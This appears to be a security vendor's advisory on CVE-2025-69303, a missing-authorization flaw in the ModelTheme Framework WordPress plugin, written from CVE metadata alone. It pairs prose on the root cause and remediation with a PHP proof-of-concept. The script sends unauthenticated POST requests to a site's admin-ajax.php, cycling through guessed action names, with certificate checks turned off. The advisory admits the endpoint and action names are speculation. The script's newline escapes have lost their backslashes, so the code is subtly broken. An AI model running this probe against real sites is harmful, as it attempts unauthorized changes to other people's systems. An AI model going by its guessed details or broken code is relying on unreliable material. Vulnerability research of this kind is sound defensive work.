Atomic Edge analysis of CVE-2025-69303 (metadata-based):
The ModelTheme Framework plugin for WordPress contains a missing authorization vulnerability in versions up to and including 1.9.2. This vulnerability allows unauthenticated attackers to perform unauthorized actions through a plugin endpoint lacking proper capability checks. The CVSS 5.3 score (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack with no authentication required, leading to integrity impact without confidentiality or availability loss.
Atomic Edge research identifies the root cause as CWE-862 Missing Authorization. The vulnerability description confirms the plugin fails to implement a capability check on a specific function. Without access to source code, we infer this likely involves a WordPress AJAX handler, REST API endpoint, or admin-post action that processes requests without verifying user permissions. WordPress plugins commonly expose functionality via wp_ajax_nopriv hooks or REST routes that should require authentication but omit the check. This inference aligns with the CWE classification and the description of “unauthorized access” to a plugin function.
Exploitation requires sending HTTP requests to the vulnerable endpoint. Based on WordPress plugin patterns and the missing authorization vulnerability type, attackers likely target /wp-admin/admin-ajax.php with an action parameter corresponding to the plugin’s vulnerable function. The plugin slug “modeltheme-framework” suggests action names like “modeltheme_framework_action” or similar prefixes. Attackers send POST requests with arbitrary parameters that the endpoint processes. No authentication or nonce tokens are required due to the missing authorization check. The exact parameters depend on the function’s purpose, which the metadata does not specify.
Remediation requires adding proper capability checks before executing sensitive operations. The plugin should verify current_user_can() with appropriate capabilities like ‘manage_options’ for administrative functions or check_ajax_referer() for nonce validation. WordPress best practices mandate validating both authentication and authorization before processing any privileged action. For AJAX handlers, removing the wp_ajax_nopriv hook or adding capability checks within the callback function would prevent unauthenticated access. The patch should also consider implementing proper nonce verification for state-changing operations.
Successful exploitation enables unauthenticated attackers to perform unauthorized actions controlled by the vulnerable function. The CVSS vector indicates integrity impact (I:L) without confidentiality or availability effects. This suggests the function likely modifies data, settings, or content rather than retrieving sensitive information. Potential impacts include changing plugin configurations, injecting content, manipulating user data, or triggering other administrative functions. The exact impact depends on the specific vulnerable function, which the available metadata does not reveal.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69303 - ModelTheme Framework <= 1.9.2 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-69303
* Target: WordPress ModelTheme Framework plugin <= 1.9.2
* Vulnerability: Missing Authorization in plugin function
* Assumptions:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php (most common WordPress AJAX handler)
* 2. Action parameter follows plugin naming convention (modeltheme_framework_*)
* 3. No authentication or nonce required due to missing capability check
* 4. The endpoint accepts POST parameters for unauthorized action
*/
$target_url = "http://target-site.com/wp-admin/admin-ajax.php"; // CHANGE THIS
// Common action names based on plugin slug patterns
$possible_actions = [
'modeltheme_framework_action',
'modeltheme_framework_save',
'modeltheme_framework_update',
'modeltheme_framework_process',
'modeltheme_framework_import',
'modeltheme_framework_export',
'modeltheme_framework_reset',
'modeltheme_framework_settings',
'modeltheme_action',
'mt_framework_action',
'mtfw_action'
];
echo "[+] Testing CVE-2025-69303 against: $target_urln";
echo "[+] Plugin: ModelTheme Framework <= 1.9.2n";
echo "[+] Vulnerability: Missing Authorizationnn";
foreach ($possible_actions as $action) {
echo "[*] Testing action: $actionn";
$ch = curl_init();
$post_data = [
'action' => $action,
'test_param' => 'atomic_edge_test',
'data' => 'unauthorized_action_payload'
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
// Add headers to mimic legitimate WordPress AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'X-Requested-With: XMLHttpRequest',
'User-Agent: Atomic-Edge-PoC/1.0',
'Accept: application/json, text/javascript, */*; q=0.01'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for successful response (not 403/404 and contains some output)
if ($http_code == 200 && !empty($response) && $response !== '0') {
echo "[!] POSSIBLE VULNERABILITY DETECTED!n";
echo " Action: $action returned HTTP $http_coden";
echo " Response preview: " . substr($response, 0, 200) . "nn";
// Attempt to identify response patterns
if (strpos($response, 'success') !== false ||
strpos($response, 'error') !== false ||
strpos($response, 'updated') !== false) {
echo " Response contains common WordPress AJAX indicatorsn";
}
break;
} else {
echo " HTTP $http_code - No vulnerability detected for this actionn";
}
}
echo "n[+] PoC completed. Note: Without exact action name, this tests common patterns.n";
echo " Successful exploitation requires identifying the exact vulnerable action.n";
?>
